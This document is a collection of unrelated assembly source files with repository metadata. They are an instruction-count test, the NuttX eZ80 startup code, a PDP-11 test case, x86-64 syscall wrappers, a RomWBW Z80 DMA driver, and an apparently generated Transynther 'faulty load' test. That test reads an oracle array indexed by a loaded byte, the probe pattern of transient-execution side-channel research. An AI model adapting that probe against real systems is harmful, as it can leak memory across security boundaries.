r0, 28 // icount 90 nop // icount 91 nop // icount 92 nop // icount 93 nop // icount 94 nop // icount 95 nop // icount 96 nop // icount 97 nop // icount 98 nop // icount 99 nop // icount 100 nop // icount 101 nop // icount 102 nop // icount 103 nop // icount 104 jal 0 // icount 105 addi r0, r7, 0 // icount 106 ror r5, r3, r3 // icount 107 jalr r0, 28 // icount 108 nop // icount 109 nop // icount 110 nop // icount 111 nop // icount 112 nop // icount 113 nop // icount 114 nop // icount 115 nop // icount 116 nop // icount 117 nop // icount 118 nop // icount 119 nop // icount 120 nop // icount 121 nop // icount 122 jal 0 // icount 123 addi r0, r7, 0 // icount 124 sco r5, r1, r4 // icount 125 jalr r0, 26 // icount 126 nop // icount 127 nop // icount 128 nop // icount 129 nop // icount 130 nop // icount 131 nop // icount 132 nop // icount 133 nop // icount 134 nop // icount 135 nop // icount 136 nop // icount 137 nop // icount 138 nop // icount 139 jal 0 // icount 140 addi r0, r7, 0 // icount 141 seq r1, r6, r2 // icount 142 jalr r0, 14 // icount 143 nop // icount 144 nop // icount 145 nop // icount 146 nop // icount 147 nop // icount 148 nop // icount 149 nop // icount 150 jal 0 // icount 151 addi r0, r7, 0 // icount 152 ror r5, r5, r6 // icount 153 jalr r0, 18 // icount 154 nop // icount 155 nop // icount 156 nop // icount 157 nop // icount 158 nop // icount 159 nop // icount 160 nop // icount 161 nop // icount 162 nop // icount 163 jal 0 // icount 164 addi r0, r7, 0 // icount 165 rol r2, r2, r1 // icount 166 jalr r0, 12 // icount 167 nop // icount 168 nop // icount 169 nop // icount 170 nop // icount 171 nop // icount 172 nop // icount 173 jal 0 // icount 174 addi r0, r7, 0 // icount 175 srl r3, r6, r0 // icount 176 jalr r0, 28 // icount 177 nop // icount 178 nop // icount 179 nop // icount 180 nop // icount 181 nop // icount 182 nop // icount 183 nop // icount 184 nop // icount 185 nop // icount 186 nop // icount 187 nop // icount 188 nop // icount 189 nop // icount 190 nop // icount 191 jal 0 // icount 192 addi r0, r7, 0 // icount 193 sub r6, r2, r4 // icount 194 jalr r0, 16 // icount 195 nop // icount 196 nop // icount 197 nop // icount 198 nop // icount 199 nop // icount 200 nop // icount 201 nop // icount 202 nop // icount 203 jal 0 // icount 204 addi r0, r7, 0 // icount 205 srl r7, r2, r3 // icount 206 jalr r0, 14 // icount 207 nop // icount 208 nop // icount 209 nop // icount 210 nop // icount 211 nop // icount 212 nop // icount 213 nop // icount 214 jal 0 // icount 215 addi r0, r7, 0 // icount 216 xor r6, r5, r5 // icount 217 jalr r0, 10 // icount 218 nop // icount 219 nop // icount 220 nop // icount 221 nop // icount 222 nop // icount 223 halt // icount 224
19.665198
28
0.646281
c4878e76ca1da0ac0f30722ed0ac56f07fe82bd4
4,667
asm
Assembly
arch/z80/src/ez80/ez80_startup.asm
adamfeuer/incubator-nuttx
0b90ad3dd4e549cfca3416b223974a08fb03fa1c
[ "Apache-2.0" ]
31
2018-07-12T16:05:05.000Z
2022-03-23T21:38:19.000Z
arch/z80/src/ez80/ez80_startup.asm
adamfeuer/incubator-nuttx
0b90ad3dd4e549cfca3416b223974a08fb03fa1c
[ "Apache-2.0" ]
51
2021-06-30T20:08:24.000Z
2021-09-15T15:07:01.000Z
arch/z80/src/ez80/ez80_startup.asm
adamfeuer/incubator-nuttx
0b90ad3dd4e549cfca3416b223974a08fb03fa1c
[ "Apache-2.0" ]
41
2018-07-13T03:50:35.000Z
2022-03-21T15:27:18.000Z
;************************************************************************** ; arch/z80/src/ez80/ez80_startup.asm ; ; Licensed to the Apache Software Foundation (ASF) under one or more ; contributor license agreements. See the NOTICE file distributed with ; this work for additional information regarding copyright ownership. The ; ASF licenses this file to you under the Apache License, Version 2.0 (the ; "License"); you may not use this file except in compliance with the ; License. You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, WITHOUT ; WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the ; License for the specific language governing permissions and limitations ; under the License. ; ;************************************************************************** ;************************************************************************** ; Constants ;************************************************************************** EZ80_RAM_CTL EQU %b4 EZ80_RAM_ADDR_U EQU %b5 EZ80_FLASH_ADDR_U EQU %f7 EZ80_FLASH_CTRL EQU %f8 ;************************************************************************** ; Imported Symbols ;************************************************************************** xref _ez80_init xref _ez80_initvectors xref _ez80_initsysclk xref _ez80_board_initialize xref __low_bss ; Low address of bss segment xref __len_bss ; Length of bss segment xref __low_data ; Address of initialized data section xref __low_romdata ; Addr of initialized data section in ROM xref __len_data ; Length of initialized data section xref __copy_code_to_ram xref __len_code xref __low_code xref __low_romcode xref __RAM_ADDR_U_INIT_PARAM xref __RAM_CTL_INIT_PARAM xref __FLASH_ADDR_U_INIT_PARAM xref __FLASH_CTL_INIT_PARAM xref _nx_start xdef _ez80_startup xdef _ez80_halt ;************************************************************************** ; Code ;************************************************************************** segment CODE .assume ADL=1 ;************************************************************************** ; System reset start logic ;************************************************************************** _ez80_startup: ; Enable internal memory using settings from the linkcmd file ld a, __FLASH_ADDR_U_INIT_PARAM out0 (EZ80_FLASH_ADDR_U), a ld a, __FLASH_CTL_INIT_PARAM out0 (EZ80_FLASH_CTRL), a ld a, __RAM_ADDR_U_INIT_PARAM out0 (EZ80_RAM_ADDR_U), a ld a, __RAM_CTL_INIT_PARAM out0 (EZ80_RAM_CTL), a ; Position the IDLE task stack point at an offset of 1Kb in on-chip SRAM ; On-chip SRAM resides at an offset of %00e000 from the RAM base address. ; REVISIT: CONFIG_IDLETHREAD_STACKSIZE is not used! ld sp, __RAM_ADDR_U_INIT_PARAM << 16 + %00e400 ; Perform chip-specific initialization call _ez80_init ; initialize the interrupt vector table call _ez80_initvectors ; Initialize the system clock call _ez80_initsysclk ; Perform C initializations ; Clear the uninitialized data section ld bc, __len_bss ; Check for non-zero length ld a, __len_bss >> 16 or a, c or a, b jr z, _ez80_bssdone ; BSS is zero-length ... xor a, a ld (__low_bss), a sbc hl, hl ; hl = 0 dec bc ; 1st byte's taken care of sbc hl, bc jr z, _ez80_bssdone ; Just 1 byte ... ld hl, __low_bss ; reset hl ld de, __low_bss + 1 ; [de] = bss + 1 ldir _ez80_bssdone: ; Copy the initialized data section ld bc, __len_data ; [bc] = data length ld a, __len_data >> 16 ; Check for non-zero length or a, c or a, b jr z, _ez80_datadone ; __len_data is zero-length ... ld hl, __low_romdata ; [hl] = data_copy ld de, __low_data ; [de] = data ldir ; Copy the data section _ez80_datadone: ; Copy CODE (which may be in FLASH) to RAM if the ; copy_code_to_ram symbol is set in the link control file ld a, __copy_code_to_ram or a, a jr z, _ez80_codedone ld bc, __len_code ; [bc] = code length ld a, __len_code >> 16 ; Check for non-zero length or a, c or a, b jr z, _ez80_codedone ; __len_code is zero-length ld hl, __low_romcode ; [hl] = code_copy ld de, __low_code ; [de] = code ldir ; Copy the code section _ez80_codedone: ; Perform board-specific initialization call _ez80_board_initialize ; Then start NuttX call _nx_start ; jump to the OS entry point ; NuttX will never return, but just in case... _ez80_halt: halt ; We should never get here jp _ez80_halt
28.808642
75
0.616242
bf79022122b638e167475caa920824304d65568f
93
asm
Assembly
testcases/c1.asm
Moodrammer/PDP-11
fe05d524581d15697c2e56b7d2da868e9d7d8729
[ "MIT" ]
9
2021-01-22T15:08:49.000Z
2021-12-13T12:51:14.000Z
testcases/c1.asm
Etshawy1/PDP-11
fe05d524581d15697c2e56b7d2da868e9d7d8729
[ "MIT" ]
null
null
null
testcases/c1.asm
Etshawy1/PDP-11
fe05d524581d15697c2e56b7d2da868e9d7d8729
[ "MIT" ]
2
2021-01-23T12:39:23.000Z
2021-01-26T00:33:41.000Z
loopa: SUB Bbb,Aaa BNE loopb CLR Aaa loopb: DEC BBB HLT Define Aaa 10 Define Bbb 30
9.3
14
0.688172
9acc7edbae69f44936a92c2739c2838d1b22443d
1,582
asm
Assembly
Userland/SampleCodeModule/libasm.asm
Flacugf/TPE-ARQUI
18f4e7604525dc48cb252bdb86d7edd443ee9541
[ "BSD-3-Clause" ]
null
null
null
Userland/SampleCodeModule/libasm.asm
Flacugf/TPE-ARQUI
18f4e7604525dc48cb252bdb86d7edd443ee9541
[ "BSD-3-Clause" ]
null
null
null
Userland/SampleCodeModule/libasm.asm
Flacugf/TPE-ARQUI
18f4e7604525dc48cb252bdb86d7edd443ee9541
[ "BSD-3-Clause" ]
null
null
null
GLOBAL write GLOBAL read GLOBAL syscaller GLOBAL playSound GLOBAL colourSwap GLOBAL closeCpu GLOBAL playSong GLOBAL writeSlow GLOBAL writeInLine GLOBAL video GLOBAL send send: push rbp mov rbp, rsp mov rcx, rdi mov rdx, rsi mov rax, 11 int 80h mov rsp, rbp pop rbp ret write: push rbp mov rbp, rsp push rbx mov rbx, 1 mov rcx, rdi ;char mov rdx, rsi ;length mov rax, 2 int 80h pop rbx mov rsp,rbp pop rbp ret writeInLine: push rbp mov rbp, rsp push rbx mov rbx, 1 mov rcx, rdi ;char mov rdx, rsi ;length mov rax, 8 int 80h pop rbx mov rsp,rbp pop rbp ret writeSlow: push rbp mov rbp, rsp push rbx mov rbx, 1 mov rcx, rdi ;char mov rdx, rsi ;length mov rax, 3 int 80h pop rbx mov rsp,rbp pop rbp ret read: push rbp mov rbp, rsp push rbx mov rcx, rdi mov rdx, rsi ;length mov rax, 1 int 80h pop rbx mov rsp,rbp pop rbp ret closeCpu: push rbp mov rbp, rsp push rbx mov rcx, rdi mov rdx, rsi ;length mov rax, 4 int 80h pop rbx mov rsp,rbp pop rbp ret playSound: push rbp mov rbp, rsp push rbx mov rcx, rdi mov rdx, rsi ;length mov rax, 42 int 80h pop rbx mov rsp,rbp pop rbp ret colourSwap: push rbp mov rbp, rsp push rbx mov rcx, rdi mov rdx, rsi ;length mov rax, 6 int 80h pop rbx mov rsp,rbp pop rbp ret playSong: push rbp mov rbp, rsp push rbx mov rbx, 1 mov rcx, rdi mov rdx, rsi ;length mov rax, 9 int 80h pop rbx mov rsp,rbp pop rbp ret video: push rbp mov rbp, rsp push rbx mov rcx, rdi mov rdx, rsi mov rax, 10 int 80h pop rbx mov rsp, rbp pop rbp ret
11.463768
21
0.682048
335b993e5bd328759ca58de72976c5f0493ee5ea
50
asm
Assembly
e.asm
kamilrakowski/e
f75258ae0fccb56198d31cb738e6e541276bc082
[ "MIT" ]
null
null
null
e.asm
kamilrakowski/e
f75258ae0fccb56198d31cb738e6e541276bc082
[ "MIT" ]
null
null
null
e.asm
kamilrakowski/e
f75258ae0fccb56198d31cb738e6e541276bc082
[ "MIT" ]
null
null
null
.org 0 main: mov ah,05h mov dl,65h int 21h
7.142857
12
0.6
c0394ce8f54e27ea418f454ca227098317209bbd
251
asm
Assembly
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sdcc_iy/tshr_scroll_up_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sdcc_iy/tshr_scroll_up_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/ts2068/misc/c/sdcc_iy/tshr_scroll_up_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void tshr_scroll_up(uchar prows, uchar attr) SECTION code_clib SECTION code_arch PUBLIC _tshr_scroll_up_callee EXTERN asm_tshr_scroll_up _tshr_scroll_up_callee: pop hl ex (sp),hl ld e,l ld l,h ld d,0 jp asm_tshr_scroll_up
13.210526
46
0.741036
777bdc2afce35fedcd079502220769dbcaac2550
738
asm
Assembly
Driver/Video/Dumb/VidMem/Main/mainDevInfo.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Video/Dumb/VidMem/Main/mainDevInfo.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Video/Dumb/VidMem/Main/mainDevInfo.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: VIDMEM FILE: mainDevInfo.asm AUTHOR: Jim DeFrisco, Jan 9, 1992 REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 1/ 9/92 Initial revision DESCRIPTION: Bogus device info block so we can supply the strategy routine $Id: mainDevInfo.asm,v 1.1 97/04/18 11:42:43 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DriverTable DriverInfoStruct < DriverStrategy, ; DIS_strategy 0, ; DIS_driverAttributes DRIVER_TYPE_VIDEO ; DIS_driverType >
25.448276
79
0.512195
a7eaf7d6aace650501afa73b6e5ef1afe2be4211
10,045
asm
Assembly
Source/HBIOS/dma.asm
b1ackmai1er/RomWBW
711bf1c877d1d4e02add0e9a884aab4316eaf2e9
[ "DOC", "MIT" ]
1
2021-11-10T12:31:51.000Z
2021-11-10T12:31:51.000Z
Source/HBIOS/dma.asm
b1ackmai1er/RomWBW
711bf1c877d1d4e02add0e9a884aab4316eaf2e9
[ "DOC", "MIT" ]
1
2018-08-03T10:46:18.000Z
2018-08-03T10:46:18.000Z
Source/HBIOS/dma.asm
b1ackmai1er/RomWBW
711bf1c877d1d4e02add0e9a884aab4316eaf2e9
[ "DOC", "MIT" ]
null
null
null
;================================================================================================== ; Z80 DMA DRIVER ;================================================================================================== ; DMA_CONTINUOUS .equ %10111101 ; + Pulse DMA_BYTE .equ %10011101 ; + Pulse DMA_BURST .equ %11011101 ; + Pulse DMA_LOAD .equ $cf ; %11001111 DMA_ENABLE .equ $87 ; %10000111 DMA_FORCE_READY .equ $b3 DMA_DISABLE .equ $83 DMA_START_READ_SEQUENCE .equ $a7 DMA_READ_STATUS_BYTE .equ $bf DMA_READ_MASK_FOLLOWS .equ $bb DMA_RESET .equ $c3 ;DMA_RESET_PORT_A_TIMING .equ $c7 ;DMA_RESET_PORT_B_TIMING .equ $cb ;DMA_CONTINUE .equ $d3 ;DMA_DISABLE_INTERUPTS .equ $af ;DMA_ENABLE_INTERUPTS .equ $ab ;DMA_RESET_DISABLE_INTERUPTS .equ $a3 ;DMA_ENABLE_AFTER_RETI .equ $b7 ;DMA_REINIT_STATUS_BYTE .equ $8b ; DMA_FBACK .equ TRUE ; ALLOW FALLBACK TO SOFTWARE DMA_USEHS .equ TRUE ; USE CLOCK DIVIDER ; DMA_RDY .EQU %00001000 DMA_FORCE .EQU 0 #IF (DMA_USEHS & (DMAMODE=DMAMODE_MBC)) #IF (CPUSPDDEF=SPD_HIGH) #DEFINE DMAIOSLO LD A,(HB_RTCVAL) \ AND %11110111 \ OUT (RTCIO),A #DEFINE DMAIONOR PUSH AF \ LD A,(HB_RTCVAL) \ OR %00001000 \ OUT (RTCIO),A \ POP AF #ELSE #DEFINE DMAIOSLO \; #DEFINE DMAIONOR \; #ENDIF #ENDIF ; #IF (DMA_USEHS & (DMAMODE=DMAMODE_ECB)) #IF (CPUSPDDEF=SPD_HIGH) #DEFINE DMAIOSLO LD A,(HB_RTCVAL) \ OR %00001000 \ OUT (RTCIO),A #DEFINE DMAIONOR PUSH AF \ LD A,(HB_RTCVAL) \ AND %11110111 \ OUT (RTCIO),A \ POP AF #ELSE #DEFINE DMAIOSLO \; #DEFINE DMAIONOR \; #ENDIF #ENDIF #IF (!DMA_USEHS) #DEFINE DMAIOSLO \; #DEFINE DMAIONOR \; #ENDIF ; ;================================================================================================== ; DMA INITIALIZATION CODE ;================================================================================================== ; DMA_INIT: CALL NEWLINE PRTS("DMA: IO=0x$") ; announce LD A, DMABASE CALL PRTHEXBYTE ; LD A,DMA_FORCE out (DMABASE+1),a ; force ready off ; DMAIOSLO ; call DMAProbe ; do we have a dma? jr nz,DMA_NOTFOUND ; ld hl,DMACode ; program the ld b,DMACode_Len ; dma command ld c,DMABASE ; block ; di otir ; load dma ei xor a ; set status ; DMA_EXIT: DMAIONOR ret ; DMA_NOTFOUND: push af call PRTSTRD .db " NOT PRESENT$" #IF (DMA_FBACK) call PRTSTRD .db ". USING SOFTWARE$" LD A,ERR_NOHW LD (DMA_FAIL_FLAG),A #ENDIF pop af jr DMA_EXIT ; DMA_FAIL_FLAG: .db 0 ; ;================================================================================================== ; DMA PROBE - WRITE TO ADDRESS REGISTER AND READ BACK ;================================================================================================== ; DMAProbe: ld a,DMA_RESET out (DMABASE),a ld a,%01111101 ; R0-Transfer mode, A -> B, start address follows out (DMABASE),a ld a,$cc out (DMABASE),a ld a,$dd out (DMABASE),a ld a,$e5 out (DMABASE),a ld a,$1a out (DMABASE),a ld a,DMA_LOAD out (DMABASE),a ; ld a,DMA_READ_MASK_FOLLOWS ; set up out (DMABASE),a ; for ld a,%00011000 ; register out (DMABASE),a ; read ld a,DMA_START_READ_SEQUENCE out (DMABASE),a ; in a,(DMABASE) ; read in ld c,a ; address in a,(DMABASE) ld b,a ; xor a ; is it ld hl,$ddcc ; a match sbc hl,bc ; return with ret z ; status cpl ret ; DMACode ;.db DMA_DISABLE ; R6-Command Disable DMA .db %01111101 ; R0-Transfer mode, A -> B, start address, block length follow .dw 0 ; R0-Port A, Start address .dw 0 ; R0-Block length .db %00010100 ; R1-No timing bytes follow, address increments, is memory .db %00010000 ; R2-No timing bytes follow, address increments, is memory .db %10000000 ; R3-DMA, interrupt, stop on match disabled .db DMA_CONTINUOUS ; R4-Continuous mode, destination address, interrupt and control byte follow .dw 0 ; R4-Port B, Destination address .db %00001100 ; R4-Pulse byte follows, Pulse generated .db 0 ; R4-Pulse offset .db %10010010+DMA_RDY; R5-Stop on end of block, ce/wait multiplexed, READY active config .db DMA_LOAD ; R6-Command Load ; .db DMA_FORCE_READY ; R6-Command Force ready ; .db DMA_ENABLE ; R6-Command Enable DMA DMACode_Len .equ $-DMACode ; ;================================================================================================== ; DMA COPY BLOCK CODE - ASSUMES DMA PREINITIALIZED ;================================================================================================== ; DMALDIR: ld (DMASource),hl ; populate the dma ld (DMADest),de ; register template ld (DMALength),bc ; ld hl,DMACopy ; program the ld b,DMACopy_Len ; dma command ld c,DMABASE ; block ; DMAIOSLO ; di otir ; load and execute dma ei ; ld a,DMA_READ_STATUS_BYTE ; check status out (DMABASE),a ; of transfer in a,(DMABASE) ; set non-zero and %00111011 ; if failed sub %00011011 DMAIONOR ret ; DMACopy ;.db DMA_DISABLE ; R6-Command Disable DMA .db %01111101 ; R0-Transfer mode, A -> B, start address, block length follow DMASource .dw 0 ; R0-Port A, Start address DMALength .dw 0 ; R0-Block length .db %00010100 ; R1-No timing bytes follow, address increments, is memory .db %00010000 ; R2-No timing bytes follow, address increments, is memory .db %10000000 ; R3-DMA, interrupt, stop on match disabled .db DMA_CONTINUOUS ; R4-Continuous mode, destination address, interrupt and control byte follow DMADest .dw 0 ; R4-Port B, Destination address .db %00001100 ; R4-Pulse byte follows, Pulse generated .db 0 ; R4-Pulse offset ; .db %10010010+DMA_RDY;R5-Stop on end of block, ce/wait multiplexed, READY active config .db DMA_LOAD ; R6-Command Load .db DMA_FORCE_READY ; R6-Command Force ready .db DMA_ENABLE ; R6-Command Enable DMA DMACopy_Len .equ $-DMACopy ; ;================================================================================================== ; DMA I/O OUT BLOCK CODE - ADDRESS TO I/O PORT ;================================================================================================== ; DMAOTIR: ld (DMAOutSource),hl ; populate the dma ld (DMAOutDest),a ; register template ld (DMAOutLength),bc ; ld hl,DMAOutCode ; program the ld b,DMAOut_Len ; dma command ld c,DMABASE ; block ; DMAIOSLO di otir ; load and execute dma ei ; ld a,DMA_READ_STATUS_BYTE ; check status out (DMABASE),a ; of transfer in a,(DMABASE) ; set non-zero and %00111011 ; if failed sub %00011011 ; DMAIONOR ret ; DMAOutCode ;.db DMA_DISABLE ; R6-Command Disable DMA .db %01111001 ; R0-Transfer mode, B -> A (temp), start address, block length follow DMAOutSource .dw 0 ; R0-Port A, Start address DMAOutLength .dw 0 ; R0-Block length .db %00010100 ; R1-No timing bytes follow, fixed incrementing address, is memory .db %00101000 ; R2-No timing bytes follow, address static, is i/o .db %10000000 ; R3-DMA, interrupt, stop on match disabled .db %10100101 ; R4-Continuous mode, destination port, interrupt and control byte follow DMAOutDest .db 0 ; R4-Port B, Destination port ; .db %00001100 ; R4-Pulse byte follows, Pulse generated ; .db 0 ; R4-Pulse offset .db %10010010+DMA_RDY;R5-Stop on end of block, ce/wait multiplexed, READY active config .db DMA_LOAD ; R6-Command Load .db %00000101 ; R0-Port A is Source .db DMA_LOAD ; R6-Command Load .db DMA_FORCE_READY ; R6-Command Force ready .db DMA_ENABLE ; R6-Command Enable DMA DMAOut_Len .equ $-DMAOutCode ; ;================================================================================================== ; DMA I/O INPUT BLOCK CODE - I/O PORT TO ADDRESS ;================================================================================================== ; DMAINIR: ld (DMAInDest),hl ; populate the dma ld (DMAInSource),a ; register template ld (DMAInLength),bc ; ld hl,DMAInCode ; program the ld b,DMAIn_Len ; dma command ld c,DMABASE ; block ; DMAIOSLO ; di otir ; load and execute dma ei ; ld a,DMA_READ_STATUS_BYTE ; check status out (DMABASE),a ; of transfer in a,(DMABASE) ; set non-zero and %00111011 ; if failed sub %00011011 ; DMAIONOR ; ret ; DMAInCode ;.db DMA_DISABLE ; R6-Command Disable DMA .db %01111001 ; R0-Transfer mode, B -> A, start address, block length follow DMAInDest .dw 0 ; R0-Port A, Start address DMAInLength .dw 0 ; R0-Block length .db %00010100 ; R1-No timing bytes follow, address increments, is memory .db %00111000 ; R2-No timing bytes follow, address static, is i/o .db %10000000 ; R3-DMA, interrupt, stop on match disabled .db %10100101 ; R4-Continuous mode, destination port, no interrupt, control byte. DMAInSource .db 0 ; R4-Port B, Destination port ; .db %00001100 ; R4-Pulse byte follows, Pulse generated ; .db 0 ; R4-Pulse offset .db %10010010+DMA_RDY;R5-Stop on end of block, ce/wait multiplexed, READY active config .db DMA_LOAD ; R6-Command Load .db DMA_FORCE_READY ; R6-Command Force ready .db DMA_ENABLE ; R6-Command Enable DMA DMAIn_Len .equ $-DMAInCode ; ;================================================================================================== ; DEBUG - READ START, DESTINATION AND COUNT REGISTERS ;================================================================================================== ; #IF (0) ; DMARegDump: ld a,DMA_READ_MASK_FOLLOWS out (DMABASE),a ld a,%01111110 out (DMABASE),a ld a,DMA_START_READ_SEQUENCE out (DMABASE),a ; in a,(DMABASE) ld c,a in a,(DMABASE) ld b,a call PRTHEXWORD ld a,':' call COUT ; in a,(DMABASE) ld c,a in a,(DMABASE) ld b,a call PRTHEXWORD ld a,':' call COUT ; in a,(DMABASE) ld c,a in a,(DMABASE) ld b,a call PRTHEXWORD ; call NEWLINE ret #ENDIF
29.200581
100
0.573619
d98302cc8f434ec960c6f8b8e1d40602ab0f419b
3,703
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1624.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1624.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1624.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %rbp push %rcx push %rsi // Faulty Load lea addresses_PSE+0xafc4, %r10 nop nop nop nop cmp $52655, %r12 movb (%r10), %cl lea oracles, %r10 and $0xff, %rcx shlq $12, %rcx mov (%r10,%rcx,1), %rcx pop %rsi pop %rcx pop %rbp pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
84.159091
2,999
0.664056
29f66547a0f8022e0991a89d9e9c56266a9374f2
3,045
asm
Assembly
programs/oeis/213/A213563.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/213/A213563.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/213/A213563.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
